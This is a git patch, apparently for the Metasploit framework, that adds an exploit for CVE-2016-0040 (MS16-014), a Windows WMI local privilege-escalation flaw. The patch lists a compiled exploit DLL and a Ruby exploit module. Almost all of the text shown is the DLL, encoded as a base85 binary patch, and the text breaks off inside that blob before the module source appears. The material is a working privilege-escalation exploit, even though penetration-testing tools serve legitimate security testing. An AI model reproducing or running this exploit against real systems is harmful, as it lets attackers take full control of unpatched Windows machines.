From 33d3fd20a1238db14841bb4a2a63e4ef4658f76d Mon Sep 17 00:00:00 2001 From: "Kirk R. Swidowski" Date: Thu, 3 Aug 2017 19:12:32 -0400 Subject: [PATCH 01/16] added CVE-2016-0040 privilege escalation exploit. --- data/exploits/CVE-2016-0040/cve-2016-0040.dll | Bin 0 -> 116224 bytes .../windows/local/ms16_014_wmi_recv_notif.rb | 121 ++++++++++++++++++ 2 files changed, 121 insertions(+) create mode 100755 data/exploits/CVE-2016-0040/cve-2016-0040.dll create mode 100755 modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb diff --git a/data/exploits/CVE-2016-0040/cve-2016-0040.dll b/data/exploits/CVE-2016-0040/cve-2016-0040.dll new file mode 100755 index 0000000000000000000000000000000000000000..53bc10246a7b6f9e7e349c8e803b6219cddc8f9f GIT binary patch literal 116224 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 